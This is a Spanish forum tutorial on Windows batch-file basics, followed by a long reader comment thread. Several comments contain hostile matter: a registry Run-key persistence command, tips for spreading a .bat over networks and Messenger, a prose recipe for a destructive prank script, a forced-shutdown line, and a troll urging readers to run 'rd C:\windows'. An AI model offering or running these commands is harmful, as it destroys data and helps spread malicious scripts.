Cristalab

Programación Batch con archivos .bat

Por: JaLeRu + 12.11.2007

En este tip hablaremos sobre cómo manejar algunas funciones de Windows mediante archivos Batch.

Batch, según Wikipedia es:
Es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas.
Cualquier comando DOS puede ser utilizado en un archivo batch.

Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde Inicio->Ejecutar->CMD.

Hay dos maneras de ejecutar comandos Batch.

Hola Mundo en Batch


Comenzaremos creando un Simple y clásico "Hola Mundo", escribiendo en un archivo de texto el siguiente código.

Código :


@echo off
echo Hola Mundo
pause
exit

Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecerá una pantalla negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar"
Explicamos:

echo:


Imprime un texto en pantalla, que es el texto que viene después (el que le pasamos como parámetro), que en este caso es "Hola Mundo". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repetición de la ruta en la que nos encontramos en cada línea código.

pause:


Como bien se lee, pausa la ejecución del código. Además muestra el texto "Presione una tecla para continuar"

exit:


Cierra la ventana de comandos.

Para dejar más en claro cual sería la diferencia de no ocupar la linea @echo off la imagen de a continuación muestra como se vería la pantalla sin esta linea.



Ahora aprenderemos algunas funciones de Batch:

CD o CHDIR:


Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos.
cd "C:\"
chdir "C:\"
Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C

COPY:


Sirve para copiar uno o más archivos a otro destino.
Su sintaxis es la siguiente:
Copy "Dirección del archivo" "Nueva dirección"
Ejemplo:

Código :

Copy "C:\archivo.txt" "C:\archivo2.txt"

Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt"
Para acortar un poco podríamos usar:

Código :

cd "C:\"
Copy "archivo.txt" "archivo2.txt"

Donde primero cambiamos de directorio al Disco C con cd "C:\" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.

DEL:


Sirve para eliminar uno o más archivos. Su sintaxis es:
Del "ARCHIVO"
También se puede añadir:
del /f /q "archivo"
Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f )

Move:


Sirve para mover un archivo. Su sintaxis es:
Move "Dirección Archivo" "Nueva Dirección"


Cls:


Sirve para limpiar el contenido de la pantalla:
Ejemplo:

Código :


@echo off
echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.
pause
cls
echo ¿Ves?
pause
exit


Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria.

Podemos poner en práctica esto de la siguiente manera:


Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el original y vuelva a copiar el copiado.
En la carpeta donde crearás el archivo .bat crea un archivo de texto llamado copiame.txt. En él, escribe lo que quieras. Este será el archivo que copiaremos.
Ahora el Batch:

Código :

@echo off
echo Hola, Copiaremos un archivo
pause
copy "copiame.txt" "copiado.txt"
move "copiado.txt" "C:\copiado.txt"
del "copiame.txt"
cd "C:\"
copy "copiado.txt" "copiado2.txt"
exit

Guárdalo en la carpeta como NombreQueTuQuieras.bat, y ejecútalo.

Lo que ha hecho la cadena de instrucciones es más o menos lo siguiente:
Primero apagamos el eco, luego imprimimos en pantalla "Hola, Copiaremos un archivo"
Pausamos el intérprete para que no siga de largo.
A continuación, copiamos el archivo "Copiame.txt" y su copia se llamará "copiado.txt". La movemos a la carpeta raíz del disco C, y eliminamos el original.
Por ultimo cambiamos de directorio al disco C, copiamos la copia y cerramos el Batch.

Después de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos de texto: uno llamado copiado.txt y otro copiado2.txt.
También si vamos a la carpeta del Batch, veremos no está el archivo de texto original, "copiame.txt".

Creación de nuevos archivos:


Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:

Código :

echo TEXTO DE PRIMERA LINEA > nombre.extensión
echo TEXTO SEGUNDA LINEA >> nombre.extensión
echo TEXTO SIGUIENTE LINEA >> nombre.extensión


Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.
Si ocupamos un echo seguido de un texto y el doble signo > (>>) se escribirá en la siguiente linea vacía del archivo que prosiga.

Hagamos la prueba:

Código :

echo Creando un Archivo de texto > nuevo.txt
echo Esta es la Segunda linea >> nuevo.txt
echo Y esta es la Siguiente >> nuevo.txt
echo Esto esta genial >> nuevo.txt


Si ejecutamos eso, la pantalla negra se abrirá y cerrará.
Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos, dentro estará escrito lo que especificamos.

Personalizando el SHELL


Seguro que no te gusta mucho el aspecto del Shell.
Aquí veremos como personalizarlo un poco.

COLOR:


Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:
COLOR AB
Donde A= El color de el Fondo y B= Color de las letras.
Para ver todos los colores ve el MS-Dos y escribe color/?

TITLE:


Para cambiar el título de la barra de tareas solo escribe:
Title Loquequierascomotitulo

Pause Personalizado:



¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?
Pues si escribes "pause>nul" no aparecerá ni un texto.
Entonces si anteponemos un mensaje, quedaría así.

Código :

echo Aprieta cualquier tecla para seguir
pause>nul


Además puedes jugar con los caracteres. Aquí un ejemplo, donde cambié los colores y jugué con los caracteres y personalicé el pause:



El código que empleé para esto fue:

Código :

@echo off
color 30
echo ==================================
echo =                                =
echo =               Personalizado    =
echo =                                =
echo ==================================
echo.
echo.
echo Esto esta personalizado, para salir presiona una tecla.
pause>nul
exit


Cabe mencionar que echo. (Echo seguido de un punto)sirve para saltarse una línea.

Matando Procesos:


¿Alguna vez has presionado CTRL+ALT+DELETE?
Si lo haces se abre el Administrador de tarea. En la pestaña procesos salen algunos procesos que están andando en tu pc, haciéndoles clics y apretando "terminar proceso" lo puedes acabar.
Con batch eso es muy fácil, se usa la función:
Taskkill (No funciona en todos los pc, para ver si esta disponible escribe taskkill/?)
Su sintaxis es:

Código :

taskkill /f /im proceso.exe


/f Fuerza el término del proceso.

Un ejemplo seria escribir.

Código :

taskkill /f /im wmplayer.exe

Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrará.

ABRIENDO PROCESOS:


Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función Start que funciona así:

Código :

start proceso.exe

También puedes abrir paginas web con tu explorador predeterminado.
Ejemplo1:

Código :

start wmplayer.exe

Se abrirá el Reproductor de Música
Ejemplo2:

Código :

start www.google.cl

Se abrirá tu Explorador de Internet en Google.

VARIABLES:



Ahora aprendamos a declarar variables. Para crear una se escribe:

Código :

set NOMBREVARIABLE = VALOR

Para llamarla debemos escribir su nombre entre los signos %%
Ejemplo:

Código :

@echo off
set Nombre= Javier Letelier Ruiz
echo %Nombre%
pause

La pantalla nos mostrara algo así:



Para cambiar el valor solo debemos hacer esto:

Código :

set Nombre= Nuevo Valor

Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones /p:

Código :

set /p Nombre=Escriba su Nombre:

Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo.
También podemos multiplicarlas, sumarlas, etc... con /a:

Código :

set numero1=2
ser numero2=43
set /a suma= %numero1% + %numero2%
echo %suma%
pause
exit


Si ejecutamos este, nos devolverá la suma de 2 + 43, 45.

Creo que con esto será suficiente.
Ojalá hayan entendido y les haya interesado el batch, que principalmente se puede usar para facilitar algunas tareas de Windows, ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes.

Etiquetas hack

Comentarios | Enviar un comentario
Muy bueno JaLeRu, y con la propaganda que le hiciste seguro sera un Tutorial dentro de poco...
    Guiño


Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...
Por: M@U

M@U :

Muy bueno JaLeRu, y con la propaganda que le hiciste seguro sera un Tutorial dentro de poco...
    Guiño


Pd: Si no me equivoco esto puede servir para armar "virus", cierto ¿?...


Cierto.

Muy bien JaLeRu, hace tiempo que dejé de utilizar estos Scripts, son de gran utilidad aunque nada comparados con lo que puedes hacer en una terminal basada en Unix.
Por: Carloz.Yanez
Si se pueden hacer cosas medias macabras es cierto.
Con un amigo que tiene un pc que no usa, creamos un batch que apagaba el pc cada vez que se prendía. Era muy jodido. Pero lo eliminamos fácilmente iniciando de modo seguro.
Yo uso batch para cosas como:
Programar tareas como Apagados, mensajes, etc.
También para hacer accesos directos a programas que no encuentro en mi pc.
Ejemplo: Hace un tiempo se me borro la calculadora, entonces hice un simple batch que me la abre.
También una vez hice uno que cada inicio del pc Finalizaba tareas inútiles. (Ya que siempre que yo iniciaba el pc se me abrían programas que yo nunca usaba)
Pero ya no lo es necesario por que con el TuneUp Utilities controlo esto. Lengua
Por: JaLeRu
Hola,

Tengo una duda, he utilizado la opción bat para descargar archivos pdf de una presentación y he puesto @echo off y exit al final. Bien, no me aparecen las líneas de comando, pero se sigue viendo, aunque sea por décimas de segundo la pantalla negra de comandos...¿Hay forma de ocultarla o que salga por debajo de la presentación?

Gracias
Por: helenn
El batch no trae como tal esa propiedad. Pero existen programas que mezclan Exe con Batch y traen esta opción de ejecutarse escondidos.
Por: JaLeRu
Me podrias explicar como haces para que arranque un exe cuando inicia la PC con el batch (si no es mucho pedir Lengua )
Por: CarlosRuminott

Código :

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v tubatch.bat /t REG_SZ /d C:\tubatch.bat


Ok ese código que te di sirve para que un bat se ejecute cada vez que se inicia el pc.
donde el primer "TuBatch.bat" es el nombre del batch
Y donde dice: C:\tubatch.bat es la direccion del Batch
Para iniciar un exe, el batch tendría que decir:

Código :

start C:/direcciondelexe/miexe.exe

Guiño
Por: JaLeRu
Muchas gracias!! lo voy a probar Thumbs up Alabanza
Por: CarlosRuminott
muy muy util!!! felicitaciones julero.. digo jaleru Riendo espero que sigas con mas de estos aportes de calidad Thumbs up
Por: siddharta
x_X'
archivos batch..
creo q esa clase es de hace 10años,
pero weno..para begginers..
Por: carlosczg_blog
jaja..Mau dice para virus jajaja, ese compare esta en la calle.minimo C mas ASM para virus bro.
Por: diego_blog
Muy buen tip miau
Por: Victor-Nael
Es posible mapear una carpeta compartida como unidad de red con este tipo de script??
Por: Bill_blog
hacia tiempo buskaba algo asi ... al fin lo publicaron ...
gracias
Por: LP_blog
Buen tip Thumbs up, ahora sí la se habla más del tema q de ti Riendo

Solo para complementar algo respecto a SET. Para mostrar todas las variables declaradas escribir solo "SET" (sin comillas) o mostrar solo la variable q declaraste: "SET VariableQueDeclare" (sin comillas), y para eliminar la variable escribir: "SET NombreDeMiVariable=" (sin comillas)

No me sabia esa de SET /p , me has hecho recordar mis inicios con MSDOS 6.22 y Win3.1 miau
Por: Otaku RzO
buen tip, hace tiempo que no utilizo los archivos .bat y me gusto releer sobre el tema, simpre biene bien recordar estas cosas...para el siguiente tip sobre el tema explicaras como hacer menus?
Por: noctam_blog
Genial!!! Gracias por compartirlo. Y ya sería genial que lo ampliaras y que nos muestres cómo utilizar los comandos condicionales.

De todos modos GRACIAS!!!
Por: Kamisoft_blog
[quote="JaLeRu"]

Código :

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v tubatch.bat /t REG_SZ /d C:\tubatch.bat

Aja, yo lo usaba para dejarle mensajes de muerte al otro que ocupaba la compu por la tarde Riendo
Por: jorgelig
muy interesante
Por: BlackSpiral_blog
Como usuario de Windows nunca habia visto esto del MS-DOS (sólo para ver la hora o recuperar el internet Sonrisa)debo de estar en el callejón mmmm.

Pero si lo sabia en el shell de UNIX Riendo Riendo Riendo.
Por: enjoydasilence_blog
les recomiendo mezclar todo eso con archivos .reg y .vbs seria una mezcla explosiva
Por: johnes_blog
hahaha muy bueno este tip me viene bien para armar mis bats para laburar con proyector flash y ejecutarlos con Fscommand, gracias!
Por: Jonatan_blog
Excelente lo felicito
Por: javier_blog
Ahhh!! Me lo ganaste! Hace poco queria hacer un tutorial sobre bat.

Te quedo muy bien de todos modos.
¿Podre publicar "Una segunda parte" de este tutorial?
Por: Kinduff

Kinduff :

Ahhh!! Me lo ganaste! Hace poco queria hacer un tutorial sobre bat.

Te quedo muy bien de todos modos.
¿Podre publicar "Una segunda parte" de este tutorial?
Creo que te lo volvieron a ganar Kinduff !!!...

JaLeRu :

[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Thumbs up
Por: M@U
me parece muy bueno pero tengo un pregunta si tengo un archivo .bat en el escritorio y a la hora de que sea abierto se copie el mismo en esta direccion C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio
Por: erick_blog
Muy bonito, pero te ha faltado lo mas importante que es como realizar un backup de un folder determinado.
Por: Luis_blog
@Luis_blog: Como ya dijo el autor...

JaLeRu :

[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Por: M@U

M@U :

@Luis_blog: Como ya dijo el autor...

JaLeRu :

[...]ya que como veremos en la segunda parte del tip se pueden lograr cosas bastante interesantes

Ah ser sincero no se de eso del Backup Riendo
Por: JaLeRu
Muy bueno tu Tip , y gracias por la ayuda me sirvió de mucho. miau
Por: flashreloco
hola que tal necesito saber como hacer que mi bat se expanda por toda una red local
Por: spee

spee :

hola que tal necesito saber como hacer que mi bat se expanda por toda una red local



Eso que no son principios de un virus mmmm
Por: flashreloco
Para hacer que se propague por toda la red podes hacerlo de varias formas, la que yo uso es propagacion por P2P, o tmb por USB, busca un google Sonrisa

Salu2.
Por: WebStar_blog
como hago un FTP????
Por: pain_blog
...para iniciar una transferencia de archivos????? dentro de un dts
Por: pain_blog
como crear un acceso directo con um bat
ejemplo
mi bat esta en el escritorio y quisiera que a la hora que sea ejecutado cree el acceso directo en C:\Documents and Settings\Cliente\Menú Inicio\Programas\Inicio

gracias
Por: ertg
Excelentee!!!
1 Duda..
En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?
Riendo
Por: José M_blog

José M_blog :

Excelentee!!!
1 Duda..
En la parte de abrir un programa o pagina web, ¿como haria si quiero q ese programa o pagina web se abra varias veces?
Riendo

Pues en teoria copiando y pegando varias veces la llamada, a esa paginas web o aplicación , pero no estoy seguro jejeje.
Por: flashreloco
jajaja.. ta q la gente pregunta para hacer cosas malas nomas ah...q wina...
Por: carlosczg_blog
como puedo hacer para que se ejecute un archivo.bat cuando lo envie por messenger
Por: bart_blog
Comprimelo en un Rar, con la opción de que este se ejecute al descomprimirlo.
Por: JaLeRu
Esas dudas me huelen a virus o codigos maliciosos...
Por: M@U
Riendo A mi también.
Pero a ser sincero, aprendí batch por la razón de tener capacidad maliciosa más que nada. miau
Aunque ahora lo use para el bien. Guiño
Por: JaLeRu
Mucha suerte con la programación en Batch. aunque ojala se mostraran ejemplos mas avansados para que en relidad sepan que es programar.

No se rindan, algun dia seran buenos programadores.
Por: El HaCkEr_blog
Mi próximo tip de batch sera con algunas utilidades.
Por: JaLeRu

El HaCkEr_blog :

Mucha suerte con la programación en Batch. aunque ojala se mostraran ejemplos mas avansados para que en relidad sepan que es programar.
Gracias El HaCkEr.

Tu nick con combinación de mayúsculas y minúsculas y tu uso de Internet Explorer nos demuestra que eres legendario y seguro tu si que sabes que es programar "avansado". Maestro.
Por: Freddie
Hola

Tenemos una maquina muy viejita que arranca con un diskette , necesitamos que automáticamente en el diskket cargue un programa exe
Por: JAIME ESQUIVEL MEJIA_blog
Para eso necesitas un AutoRun, pero no se si funcione en disquetes. (¿Todavía existen los disquetes?)
Funcionan de la siguiente manera.
Escribes en un editor de texto plano lo siguiente:

Código :

[autorun]
OPEN=Nombre.exe
ICON=Icono.ico

Luego lo guardas como autorun.inf en el disquete.
PD: ¿Dentro de un disquete cabe un programa?
Confundido
Por: JaLeRu
jajaja "KwanzaFreddie" burlandote de los demas, sabes es posible realizar un virus si no "avansado" muy efectivo para el usuario promedio que no sabe que el explorer es su "escritorio" por ejemplo, combina un taskill al arranque de windows de explorer (no cargara el escritorio) y que dijiste ctrl alt supr pues combinalo con un reg y quitale permisos de ejecutar el taskman al usuario que hace el login, bloqueas regedit tambien y que te parece si le mandas un shutdown dandole 30 segundos mientras haces un del de mis documentos tomando en cuenta que seguramente estan corriendo como administrador la pc, le has borrado sus archivos que no?? eso si bien no le llamariamos virus como tal en la actualidad es un buen comienzo para muchos (con fines educativos claro) ya despues hablaras de ASM, y C. Todos comenzamos de alguna forma y desde abajo y aunque se que fue entre broma y broma pero no debes de ser asi.

P.D. Internet Explorer se Usa???
es mas se puede usar??
Por: entrometido_blog
Em... Es cierto que se pueden lograr cosas maliciosas.
Pero Virus, como si. NO.
Sirve para complementar. Por ejemplo el instalador del virus, o para esconderlo.
Pero es muy limitado el lenguaje para lograr un virus.
Por: JaLeRu

entrometido_blog :

ya despues hablaras de ASM, y C
¿Ah sí? Por favor, iluminanos. Hablanos de Assembler y C. Con fines educativos.

O quizás no tengas tiempo por estar ocupado haciendo "virus" en "batch" como para mostrarnos el camino. E igual pueda ser que no tengas NPI de lo que hablas y solo hables por hablar, recordando lo que lees por ahí.

Esperamos sinceramente tu copypaste U_U
Por: Freddie
Creo varios saben trabajar en MS-Dos (Batch), pero veo que muchos no van mas alla.
En realidad si se pueden realizar virus en batch, solo tienes que tener practica,
decicion a lo que quieres lograr y no rendirte si no funciona al principio.Pues en realidad se vuelve algo tedioso cuando no saves de estos temas, pero no se sientan mal, pues todos empezamos por eso. El batch se ve sencillo, pero yo siempre e dicho: pequeños programas, grandes funcionalidades.

Aunque no puedo mencionar los cogidos de un virus, porque estaria compartiendo algo indevido. Si puedo decirles otras cosas que sean utiles.
Por: Anonimo HCR_blog
Claro que tienes razon, si es posible crear un virus en MS-DOS,aunque algunas personas lo duden o se burlen de ello. Pero dejame decirte que los codigos son muy extensosos o segun las ordenes que lleven se acortan. Se ve que eres un poco ingenuo pues para tener esos conocimientos en MS-DOS debes pasar horas en tu ordenador.
Pero claro despues de crearlo necesitas un programa o crear uno, que te convierta de MS-DOS a EXE. Para convertilo a ejecutable y no puedan cambiar las ordenes que vos haber puesto.
Y claro por obias razones no compartes tu codigo malisioso.
Suerte.
Por: El HaCkEr_blog
Espero que estes contento JaLeRu, llenas de Hacker´s Clab... Y eso que todavia falta una tercera parte de Batch...
Por: M@U

M@U :

Espero que estes contento JaLeRu, llenas de Hacker´s Clab...
Estos no son hackers, M@U. Son "juakers", a lo AndreSOSO.
Por: Freddie

KwanzaFreddie :

M@U :

Espero que estes contento JaLeRu, llenas de Hacker´s Clab...
Estos no son hackers, M@U. Son "juakers", a lo AndreSOSO.
Juas !!!... Perdón, tienes toda la razón...
Riendo
Por: M@U
Les tengo algo que creo que es bueno.

Alguien sabe como puede proteger carpetas
con un MS-DOS (batch), sino saben para decirselos.
Por: Angel_fo_the_death_blog
Yo no lo hago con intención de llenar Juakers. Solo quería enseñar algo que se.
Que puede ser útil. Y sigo insistiendo que encuentro estúpido que ese tal Hacker se burle de mi.
Yo quise enseñar algo básico, por que no todo el mundo es tan genial como tu El HaCkEr y debe empezar por algo básico. No todos nacimos sabiendo programar.
Mis conocimientos también son básicos, en absoluto.
Dedica tu vida a crear Virus, te felicito vivirás mucho más feliz y estarás dando un gran aporte al mundo. Me encantaría que tu dieras un poco de tu tiempo a enseñarnos tu TAN avanzado conocimiento. (Y lo digo en serio)
miau Espero un pequeño "Tip" de tu parte.
Por: JaLeRu
Muchas Felicidades al creador de este foro y suerte.
Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?.
Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.
Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no para compartilo con ustedes, les sera muy util, en serio...

Gracias.
Por: Angel_of_the_Death_blog

JaLeRu :

Yo no lo hago con intención de llenar Juakers.
Tranquilo JaLeRu. No es contigo la cosa. De hecho, tus aportes han sido muy buenos. Sigue así.
Por: Freddie
es interesante
Por: Œ

Angel_of_the_Death_blog :

Muchas Felicidades al creador de este foro y suerte.
Soy nuevo y creo que no han visto mi a pregunta anterior. Haci que me tome la molestia de repetirla. Mi pregunta era ¿que si no saben como proteger una carpeta con un archivo en batch?.
Es que yo si se y queria compartilo con ustedes. pues creo que todos tenemos archivos personales que no queremos que otras personas vean y queremos protegerlos.
Pues cree un archivo batch que nos ayudara con ello. Por eso quiero saber si ya saben, o si no para compartilo con ustedes, les sera muy util, en serio...

Gracias.

Nunca esta de más que aportes.
Claro que sí nos interesa que nos digas como.
Por: JaLeRu
Bueno e leido que si les interesan los aportes y eso me da gusto, ademas gracias a JaLeRu por leer mi post.
Para proteger sus carpetas deben colocar esto en su Bloc de Notas:

ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat

despues abren de nuevo su Bloc de Notas ponen lo siguiente:

ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombre
lo guardan como: Abrir.bat

Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero prueben
el primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.
y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.
Por: Angel_of_the_Death_blog
Espero me disculpen pero se me olvido esto:
los archivos Abrir.bat y Cerrar.bat
deben de ir donde se encuentra la carpeta. Esto indica junto a ella no dentro de ella.


Gracias y tratare de aportar mas a este ChIdO BlOg...Riendo
Por: Angel_of_the Death_blog
Aqui esperamos ansiosos Angel_of_the_Death_blog...
Por: M@U

Angel_of_the_Death_blog :

Bueno e leido que si les interesan los aportes y eso me da gusto, ademas gracias a JaLeRu por leer mi post.
Para proteger sus carpetas deben colocar esto en su Bloc de Notas:

ren nombre nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} lo guardan como: Cerrar.bat

despues abren de nuevo su Bloc de Notas ponen lo siguiente:

ren nombre.{21EC2020-3AEA-1069-A2DD-08002B30309D} nombre
lo guardan como: Abrir.bat

Nota:donde dice nombre lo sustituyen por el nombre de su carpeta personal o de cualquier carpeta. Y primero prueben
el primero cerrara su carpeta y cambiara el icono. Cuando alguien intente abrirla los redireccionara al panel de control.
y para abrirla de nuevo ejecutan Abrir.bat y ya podran ver sus documentos dentro de la carpeta.


De hecho ese Tip ya ha sido publicado aquí Bloquear el acceso a carpetas en Windows XP.
Esperamos tus demás aportes.
Por: Carloz.Yanez
Gracias por avisarme, pero les juro que no habia visto esa otra publicación.

Ya cheque el link que pusiste Carloz.Yanez y es verdad lo que dices,
se te agradece por tu gran obcervación.

Gracias...Riendo
Por: Angel_of_the_Death_blog
Voy a registrarme para que asi sea mas confiables mis aportes.


Saludo2
Por: Angel_of_the_Death_blog

Angel_of_the_Death_blog :

Voy a registrarme para que asi sea mas confiables mis aportes.


Saludo2

Que bueno!....
Por: JaLeRu
Antes que nada ya me he registrado para asi formar parte de esta gran Comunidad.

Aquí les traigo este pequeño aporte espero les guste y les sea util.... Riendo
Este un pequeño buscador chequenlo y pruebenlo. Suerte miau
El siguiente es el codigo:

Código :

:buscador
@echo off
color 3f
Title Buscador Personalizado
echo             =========================================
echo             =                                       =
echo             =         Buscador Personalizado        =
echo             =                                       =
echo             =========================================
echo.
echo             Que desea hacer?
echo.
echo             1. Ir a la Web en Google.
echo.
echo             2. Buscar Imagenes en Google.
echo.
echo             3. Ver las Noticias en Google.
echo.
echo             4. Ir a Grupos en Google.
echo.
echo             5. Busqueda de Libros en Google.
echo.
echo             6. Ir al Gmail.
echo.
echo             7. Salir del Buscador.
echo.
echo.
set/p google=           Escriba el numero determinado y pulse ENTER.
if %google%== 1 goto Web
if %google%== 2 goto Imagenes
if %google%== 3 goto Noticias
if %google%== 4 goto Grupos
if %google%== 5 goto Libros
if %google%== 6 goto Gmail
if %google%== 7 goto Salir
if %google%== %google% goto error
pause>nul
:Web
cls
@echo off
start http://www.google.com.mx/
exit
:Imagenes
cls
start http://images.google.com.mx/imghp?hl=es&tab=ni
exit
:Noticias
cls
start http://news.google.com.mx/nwshp?hl=es&tab=in
exit
:Grupos
cls
start http://groups.google.com.mx/grphp?hl=es&tab=ng
exit
:Libros
cls
start http://books.google.com.mx/bkshp?hl=es&tab=wp
exit
:Gmail
cls
start https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=https%3A%2F%2Fmail.google.com%2Fmail%3Ftab%3Dpm%26nsr%3D1%26ui%3Dhtml%26zy%3Dl&ltmpl=default&ltmplcache=2
exit
:Salir
cls
exit
:error
cls
msg * La Obcion que eligio no existe, pruebe con otra, Gracias.
goto buscador
exit
pause>nul

Por: Angel_of_the_Death
Ah y ya me quite el _Blog Confundido

ahora aparecere como Angel_of_the_Death

Gracias... miau
Por: Angel_of_the_Death
Bienvenido! Sorpresa
Por: JaLeRu
Saludos Angel_of_the_Death,

Los Aportes de preferencia publicalos aqui... Y los Tips por aca...
Tambien te recomiendo que le des una leida a las Reglas del Foro y que cambies tu Avatar, el tamaño maximo para estos es de 100x100 pxls...

Bienvenido...
Por: M@U
Gracias a Todos... Muy Feliz


Y gracias M@U por decirme donde debo poner los Tips y los Aportes... miau




Suete a todos y Feliz año Nuevo... Riendo
Por: Angel_of_the_Death
Angel_of_the_Death, el maximo tamaño de los avatares es 100 x 100. El tuyo tiene 195 pixeles.
Por: Freddie
Aw Crap Disculpen, es que no encontraba imagenes de esos pixeles, pero ya encontre una, gracias.... Sonrisa
Por: Angel_of_the_Death
nadie sabe con pasar mi bat a la carpeta de inicio vamos loco tiene que haber una forma con move y con copy no funca y la sintaxis esta bien porque desde el ordenador puedo
Por: mauricio_blog
Creo que la única forma de mover un bat que esta siendo ejecutado es creado otro bat que lo mueva. He igual así no te aseguro que se pueda mover en tiempo de ejecución.

Algo como esto: (Siendo que el archivo se llame "mibat.bat")

Código :

@echo off
echo Ahora, me moveré al disco C
echo @echo off>move.bat
echo move "mibat.bat" "C:\mibat.bat">>move.bat
echo exit>>move.bat
start "move.bat"
echo Ya debería haber funcionado.

Por: JaLeRu
Hola me gustaria alguien me dijiera como
hacer que se remarque mi conexion a internet por ahi encontre algo asi:

rasdial Conexion usuario password

y pues si funciona, pero el problema que tengo es que quiero que al ejecutar el bat tenga una demora de aproximadamante 3 minutos, pues si se conectar inmediatamente no me sirve.... espero alguien me pueda ayudar

att: ferzidan
ferziissu@msn.com
Por: ferzidan_blog
que tal habla spee el de la pregunta de los bats, soy de Guate y me interesa mucho la programacion y hago lo
posible por aprender y no ando presumiendo lo que se como ese tal El HaCkEr_blog de lo contrario si veo a alguien que no sabe trato de ayudarlo y no de juzgarlo con lo poco que, si alguien me puede ayudar a seguir aprendiendo seria bueno si me pueden mandar algunos manuales a mi correo eerg_reyes@yahoo.com
Por: spee
Inscribete en CLAB y te responderemos todas tus dudas.
O por lo menos lo más posible.
Por: JaLeRu
Yo tengo unos batch hechos para iniciar o detener servicios en Win32. Para esto se usa el comando sc, que si lo ponen en la ventana del sistema sin parámetros les muestra la ayuda. Por ejemplo, para detener/iniciar el servicio de Temas respectivamente usaríamos:

Código :

sc stop "Themes"

Código :

sc start "Themes"

Otra cosa interesante es que nos permite borrar servicios muy fácilmente, aunque no aconsejaría que lo hagan a menos que estén completamente seguros de lo que hacen, es muy simple, por ejemplo si quisiéramos borrar el servicio del Portafolios:

Código :

sc delete "ClipSrv"

Por: Skatos
hola chicos especialmente jerelu que respondio a mi preg.sienpre que tube dudas.mi preg es esta estoy haciendo un bat para mi hago esto haber si ustedes me dicen donde me equivoco se los resumo entro al dico "c" creo una bat con una orden lo quiero mover a l carpeta de inicio y no lo hace pero las sintexis entan bien solo que no me lo deja meter en la carpeta esa.espero que me ayuden gracias amigos del bat
Por: mauricio_blog
jaleru
Por: mauricio_blog
Me parece que un bat no puede moverse a si mismo.
Pero puedes crear una copia del bat, para luego borrar al ejecutar la copia se borre el del disco C.
Eso se me ocurre.
Por: JaLeRu
bueno jaleru voy a probar asi y te digo te dejo mi mail me gustaria que me enseñes un par de cosas veo que aprendiste mucho infame_05@hotmail.com saludos
Por: mauricio_blog
hola mi ultimo aporte a los que tenian planes con la carpeta inicio,he tratado de varias formas de autotrasladar mi bat a esa maldita carpeta pero no lo he logrado seguro debe de estar protegida por los ya saben quien..bueno cuando se me ocurra algo que dicho sea de paso ya estoy trabajando voy a volver al foro gracias por las molestias causadas
Por: mauricio_blog
aca va un cod
@echo off
shutdown -s -t 00 -f
Por: Alfredo_blog
quien es el tonton este que quiere reiniciar una pc aca tenes otro cod rd C:\windows cerralo punto bat y ejecutalo
Por: mauricio_blog

mauricio_blog :

quien es el tonton este que quiere reiniciar una pc aca tenes otro cod rd C:\windows cerralo punto bat y ejecutalo

Alfredo_blog :

aca va un cod
@echo off
shutdown -s -t 00 -f

Porfavor no prueben ni uno de los dos códigos.
